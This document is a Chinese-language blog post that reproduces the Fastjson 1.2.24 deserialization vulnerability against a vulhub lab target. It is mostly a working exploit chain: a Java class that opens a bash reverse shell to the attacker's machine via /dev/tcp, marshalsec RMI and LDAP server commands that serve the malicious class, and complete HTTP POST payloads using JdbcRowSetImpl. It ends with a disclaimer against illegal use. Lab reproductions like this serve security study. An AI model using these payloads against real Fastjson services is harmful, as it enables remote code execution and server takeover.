Fastjson反序列化漏洞復現

w發表於2021-05-06

Fastjson反序列化漏洞復現

0x00 前言


對Fastjson反序列化漏洞進行復現。


0x01 漏洞環境


靶機環境:vulhub-fastjson-1.2.24
ip:172.16.10.18 埠:8090
攻擊機環境:kali,ip:192.168.82.130


0x02 漏洞利用


(1)首先使用docker起一個fastjson反序列化漏洞環境:

訪問環境頁面如下:

(2)RMI利用方式
先編寫好攻擊指令碼,反彈shell到kali上:

public class Exploit {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.82.130/8888 0>&1");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}

接著使用javac將其進行編譯,命令:

javac Exploit.java

然後對多出一個.class的檔案:

把編譯好的檔案放在kali上,並在kali開啟一個簡單的HTTP服務,利用python3,命令:

python3 -m http.server 8080


接著使用marshalsec專案,啟動RMI服務,監聽8001埠並載入遠端類Exploit.class,命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.82.130:8080/#Exploit" 8001


然後在kali上開啟監聽8888埠:

開始攻擊,payload如下,注意是以POST方式提交:

POST / HTTP/1.1
Host:172.16.10.18:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 167

{
    "naraku":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.82.130:8001/Exploit",
        "autoCommit":true
    }
}


檢視RMI端記錄:

檢視監聽部分:

成功,返回shell
(3)LDAP利用方式
前面大致過程相同,唯一變化的地方在於使用marshalsec專案,啟動LDAP服務,監聽8002埠並載入遠端類Exploit.class,命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.82.130:8080/#Exploit" 8002


在kali端依然監聽8888埠:

在burp端發起payload,payload如下,依舊注意是POST請求:

POST / HTTP/1.1
Host:172.16.10.18:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 167

{
    "naraku":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://192.168.82.130:8002/Exploit",
        "autoCommit":true
    }
}


檢視ldap端顯示:

檢視監聽端,成功反彈shell:

0x03 免責宣告

嚴禁讀者利用以上介紹知識點對網站進行非法操作 , 本文僅用於技術交流和學習 , 如果您利用文章中介紹的知識對他人造成損失 , 後果由您自行承擔 , 如果您不能同意該約定 , 請您務必不要閱讀該文章 , 感謝您的配合 !

相關文章